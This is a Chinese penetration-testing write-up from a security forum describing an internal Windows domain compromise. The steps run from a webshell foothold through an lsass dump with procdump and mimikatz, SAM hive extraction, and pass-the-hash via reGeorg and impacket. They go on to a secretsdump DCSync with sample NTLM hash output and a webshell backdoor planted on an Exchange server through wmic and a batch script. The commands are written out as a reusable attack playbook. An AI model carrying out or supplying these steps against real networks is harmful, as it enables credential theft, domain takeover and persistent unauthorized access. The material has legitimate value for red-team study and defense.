一、前言本项目前期打点非常顺利,进来就是一个域账户权限且为本机管理员。本来认为一帆风顺,后续还是经历了一些波折。在测试的过程中遇到了脱域机器以及网络上的隔离,最终还是通过常…
0x01 前言
本项目前期打点非常顺利,进来就是一个域账户权限且为本机管理员。本来认为一帆风顺,后续还是经历了一些波折。在测试的过程中遇到了脱域机器以及网络上的隔离,最终还是通过常规的思路拿到了域管权限。
0x02 内网信息搜集
确认安全防护
webshell进来之后,首先通过webshell的文件管理功能确认是否有杀毒软件,主要关注以下几个目录:
C:\\progra ~ 1
C:\\progra ~ 2
C:\\programdata
C:\\Windows\\System32\\drivers
%appdata%
发现目标机器上存在赛门铁克,直接执行命令并无大碍:
确认当前权限
whoami /all
net user xxx
net user xxx /domain
这里发现当前账户为xxx\xxx,基本能看出来是一个域账户。
定位域控制器
继续信息搜集,确认以下域相关的信息
net config workstation
nltest /domain\_trusts
ipconfig /all
查看dns地址,一般为域控地址:
ipconfig /all
使用ping -a反解域名,获得dc的fqdn: 获取到fqdn后,可以尝试以下gpp漏洞,这里经过测试失败了。经过一些列的信息搜集,基本发现,当前主机应该在域内,域控为172.16.1.98,域名为***r.****,入口机的用户为域用户。
执行net localgroup administrators发现当前用户在管理员组里面,看起来还像是域管的账号,执行net group "domain admins" /domain回显access denied,不知道是什么情况。
0x03 凭据获取
既然是本地管理员,不管三七二十一先抓一波内存中的hash,万一能运气好直接抓到域管就可以拿下目标。使用procdump+mimikatz抓密码
上传procdump.exe并执行
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
下载lsass.dmp到本地,mimikatz一把梭:
抓到了若干用户的hash,用户名基本是xxx_adm,看起来就很像域管,到这里笔者觉得基本已经拿下了。
*****u_adm
******adm
0x04 hash传递
抓到的hash无法进行破解,需要进行pth,一般在没有杀软或有能力做免杀的情况下我们会选择直接在目标上使用mimikatz,Rubeus等工具进行pth,这里使用代理的方式回避了免杀的问题。
搞一个regeorg正向连接(具体操作方式不作详细描述),上传到目标。
本地pth后,使用dsquery,adfind,wmicexec等工具均报错认证失败:
推测这些账户近期修改了密码。尝试抓到的所有账户都无法认证通过。
遂尝试使用机器账户进行登录,因为机器账户也应该是域中的一个用户账户,理论上可以通过ldap的认证,但是竟然也失败了。
结合net系列和域相关的命令无法使用,如下图:
怀疑这台机器可能太边缘了,可能是脱域了导致域管的密码都没有更新,简单的猜测如此。
0x05 使用本地hash进行横向移动
机器A上的信息都浏览完之后,尝试获取A机器的本地管理员hash进行pth,登录其他域内的主机,看能不能运气好再次抓到域管的账号密码。
通过注册表获取本地hash
reg sam hklm\\sam sam
reg sam hklm\\system system
reg sam hklm\\security security //该文件包括域缓存,也可以进行破解
本地mimikatz获取到本地管理员用户名hash
寻找与当前机器存在网络连接的ip段,多次尝试登陆不同的机器,终于找到这台172.16.69.26内网主机,我们暂时将该机器称为机器B。
直接用这个*n*****这个本地用户pth,登录成功。
在regeorg的环境中进行横向移动
因为regeorg的代理存在一定的局限性,我们常用的windows系统自带的wmic及net use组合拳进行横向移动并不适用,这里笔者最喜欢用impacket工具包中的工具与目标内网机器进行交互。
同样使用impacket中的工具smb_client来上传下载文件:
放一个procdump.exe上去
通过wmiexec.exe连接机器B执行命令
c:\\progarmdata\\procdump64.exe -accepteula -ma xxx > lsass.dmp
这里保存到c盘根目录下去了
62MB有点大,下载等一会
本地对dump文件进行解析
看一下hash2.txt内容
0x06 搜集所有的域信息
在刚才的机器B上,笔者发现net user /domain等命令可以正常执行了。并且笔者的运气非常好,这次精准命中域管。在进行下一步操作前,先了解以下这个域的基本情况,执行命令太过繁琐,直接远程导出域的ldap信息:
从windows2003中扣出一个并用dsquery.exe上传到目标机器
通过dsquery导出相关域信息。
下载all.txt到本地
拿到域信息,包含机器,组,人员,邮箱等重要信息。
0x07 获得域内所有用户hash
有了域管hash后,可以使用dcsync,还原ntds等方式导出域hash。这里还是使用impacket工具包中的secretsdump.py进行操作。
root@kali:~/Tools/impacket/examples# python secretsdump.py pwnable.com/victim-user@mydc02.pwnable.com -just-dc
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation
Password:
\[\*\] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
\[\*\] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7a4df117f282d3ebecb49b4b5a400a3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d1633931245c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0f6a08c7f25535789158e8a42d2502c:::
SUPPORT\_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:d252222b2078d1afb2045a16f3b0d3a:::
pwnable.com\\victim-user1:1134:aad3b435b51404eeaad3b435b51404ee:010f638de4537bf78a45cca0fa44020d:::
pwnable.com\\victim-use3:1157:aad3b435b51404eeaad3b435b51404ee:3f59bb59c9aa5fc5322074f7a1d6aae0:::
pwnable.com\\victim-user2:1161:aad3b435b51404eeaad3b435b51404ee:46fe9267487e1120c571b1b556505163:::
pwnable.com\\victim-user:1164:aad3b435b51404eeaad3b435b51404ee:7edb2c4cd674b87ffaeb90f6ee29c061:::
和之前边界机器A上抓到的hash进行比较发现确实不同,坐实了之前机器A脱域的猜想。
0x08 驻留后门
通过前期对外网资产的一些盘点,发现了exchange邮件服务器,并计划在该服务器上留后门。exchange作为内网渗透兵家必争之地,留下后门给我们后续的渗透提供了极大的便利。具体的利用后续会专门出相关的文章来介绍。
定位exchange服务器
定位exchange服务器一般有以下几种方法:
- 通过响应头X-FESERVER字段,可以获取到内网机器的neibios name
- 通过触发ntlm认证的地方,base64解码机器返回的字段,可以获取到域内机器的fqdn
- 在域内查看组exchange servers
在外网简单获取exchange的机器名,如下:
绕过网络隔离
接着就是ping一下这台机器,找到内网里的ip,解析结果为172.16.1.115。直接在边界机器A与机器B上访问exchange无法ping通,推测是有隔离。
一般这种情况笔者都喜欢尝试通过域控的网络到达目标机器,域控和域内机器一般不会隔离的非常严格。下图进行了简单描述:
rdp连接机器B,之后通过命令行net use连上DC,再通过DC创建IPC$来往exchange服务器上放文件。
在机器B上执行:
net use \\\\dc /user:xxx "xxx"
move webshell.aspx \\\\dc\\c$\\webshell.aspx
这样就把webshell暂时放到了dc上,想办法将dc上的webshell放到exchange上。这里我们选择直接使用wmic远程执行命令的方式:
wmic /node:dc /user:xxx /password:xxx process call create "cmd /c move c:\\webshell.aspx \\\\exchange\\c$\\inetpub\\wwwroot\\1.aspx"
但是发现并没有成功,通过2>&1 输入报错输出发现没有写入权限。
请教了一下大牛,大牛说wmic存在凭据传递失效的问题。看起来是域管在执行命令,但在目标机器上访问远程机器时,权限并不是域管。也就是说这里move之前还需要用域管进行一次net use。
这样就好办了,写一个bat脚本,放到dc上,之后通过运行这个bat脚本来往exchange服务器上丢backdoor。这样net use 和move就处于同一个上下文,就可以向远程机器传递凭据了
bat的内容大概是:
net use \\\\exchange /user:dm "XXX"
dir \\\\exchange\\c$\\inetpub\\wwwroot\\
move c:\\webshell.aspx \\\\exchange\\c$\\inetpub\\wwwroot\\1.aspx
通过wmic执行这个bat:
wmic /node:dc /user:xxx /password:xxx process call create "cmd /c c:\\programdata\\1.bat > c:\\programdata\\1.txt 2>&1"
可以看到成功将文件拷贝到了dc上
在exchange上留好后门。因为这台windows上有最新的windows atp,本来应该是system权限的但是没法执行命令,但是有时候我们有代码执行就足够了,后续结合regeorg等工具可以作为备用的网络通道。
- 本文作者: 7bits
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1599
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!